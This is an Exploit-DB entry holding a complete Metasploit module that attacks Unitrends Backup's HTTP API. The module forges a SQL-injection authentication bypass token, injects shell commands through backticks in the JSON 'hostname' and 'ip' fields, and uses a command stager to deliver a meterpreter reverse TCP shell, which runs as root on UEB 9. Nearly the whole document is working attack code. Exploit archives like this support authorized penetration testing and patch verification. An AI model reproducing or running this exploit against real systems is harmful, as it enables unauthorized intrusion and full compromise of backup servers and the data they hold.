Exploit-DB #45559
Description: Unitrends UEB - HTTP API Remote Code Execution (Metasploit)
Type: remote
Platform: linux
Date: 2018-10-08
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Unitrends UEB http api remote code execution',
      'Description'    => %q{
        It was discovered that the api/storage web interface in Unitrends Backup (UB)
        before 10.0.0 has an issue in which one of its input parameters was not validated.
        A remote attacker could use this flaw to bypass authentication and execute arbitrary
        commands with root privilege on the target system.
        UEB v9 runs the api under root privileges and api/storage is vulnerable.
        UEB v10 runs the api under limited privileges and api/hosts is vulnerable.
      },
      'Author'         =>
        [
          'Cale Smith',    # @0xC413
          'Benny Husted', # @BennyHusted
          'Jared Arave',   # @iotennui
          'h00die'
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => 'linux',
      'Arch' => [ARCH_X86],
      'CmdStagerFlavor' => [ 'printf' ],
      'References'     =>
        [
          ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000TO5PAAW/000005756'],
          ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000006002'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12478'],
          ['URL', 'http://blog.redactedsec.net/exploits/2018/01/29/UEB9.html'],
          ['EDB', '44297'],
          ['CVE', '2017-12478'],
          ['CVE', '2018-6328']
        ],
      'Targets'        =>
        [
          [ 'UEB 9.*', { 'Privileged' => true} ],
          [ 'UEB < 10.1.0', { 'Privileged' => false} ]
        ],
      'DefaultOptions' => {
          'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
          'SSL' => true
        },
      'DisclosureDate'  => 'Aug 8 2017',
      'DefaultTarget'   => 0))
    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ])
    deregister_options('SRVHOST', 'SRVPORT')
  end

  def auth_token
    session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0"  #SQLi auth bypass
    Base64.strict_encode64(session) #b64 encode session token
  end

  def check
    res = send_request_cgi!({
        'method' => 'GET',
        'uri'    => '/api/systems/details',
        'ctype'  => 'application/json',
        'headers' =>
        {'AuthToken' => auth_token}
      })
    if res && res.code == 200
      print_good("Good news, looks like a vulnerable version of UEB.")
      return CheckCode::Appears
    else
      print_bad('Host does not appear to be vulnerable.')
    end
    return CheckCode::Safe
  end

  #substitue some charactes
  def filter_bad_chars(cmd)
    cmd.gsub!("\\", "\\\\\\")
    cmd.gsub!("'", '\\"')
  end

  def execute_command(cmd, opts = {})
    if target.name == 'UEB 9.*'
      #substitue the cmd into the hostname parameter
      parms = %Q|{"type":4,"name":"_Stateless","usage":"stateless","build_filesystem":1,"properties":{"username":"aaaa","password":"aaaa","hostname":"`|
      parms << filter_bad_chars(cmd)
      parms << %Q|` &","port":"2049","protocol":"nfs","share_name":"aaa"}}|
      uri = '/api/storage'
    elsif target.name == 'UEB < 10.1.0'
      parms = %Q|{"name":"ffff","ip":"10.0.0.200'\\"`0&|
      parms << filter_bad_chars(cmd)
      parms << %Q|`'"}|
      uri = '/api/hosts'
    end

    res = send_request_cgi({
      'uri' => uri,
      'method' => 'POST',
      'ctype'  => 'application/json',
      'encode_params' => false,
      'data'   => parms,
      'headers' =>
        {'AuthToken' => auth_token}
    })

    if res && res.code != 500
      fail_with(Failure::UnexpectedReply,'Unexpected response')
    end
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
  end

  def exploit
    print_status("#{peer} - Sending requests to UEB...")
    execute_cmdstager(:linemax => 120)
  end
end